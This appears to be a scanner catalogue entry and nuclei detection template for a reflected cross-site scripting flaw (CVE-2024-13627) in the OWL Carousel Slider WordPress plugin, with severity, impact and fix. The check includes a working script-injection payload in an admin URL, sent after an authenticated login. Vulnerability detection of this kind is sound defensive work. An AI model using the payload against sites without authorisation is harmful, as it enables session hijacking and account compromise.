OWL Carousel Slider - Cross-Site Scripting

mediumseverity

4.7CVSS score

0.8%likelihood of exploitation, next 30 days

58%of all CVEs are less likely

Readycheck to confirm it

OWL Carousel Slider WordPress plugin v2.2 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft malicious URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.

Fix

Update to the latest version of the plugin where the issue is fixed or apply security patches that sanitize and escape parameters properly.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=wpoc_edit&id=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>")

Run it with nuclei: nuclei -id CVE-2024-13627 -u <target>

The full check

id: CVE-2024-13627

info:
  name: OWL Carousel Slider - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    OWL Carousel Slider WordPress plugin v2.2 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or apply security patches that sanitize and escape parameters properly.
  reference:
    - https://wpscan.com/vulnerability/f7e425a1-ae49-4ea6-abe4-42ba2713af8f/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 4.7
    cve-id: CVE-2024-13627
    cwe-id: CWE-79
    epss-score: 0.00838
    epss-percentile: 0.58089
    cpe: cpe:2.3:a:wp-buy:owl_carousel_slider:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp-buy
    product: owl_carousel_slider
  tags: cve,cve2024,wp-scan,wp-plugin,wp-buy,owl-carousel-slider

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wpoc_edit&id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>")
        condition: and

References

https://wpscan.com/vulnerability/f7e425a1-ae49-4ea6-abe4-42ba2713af8f/

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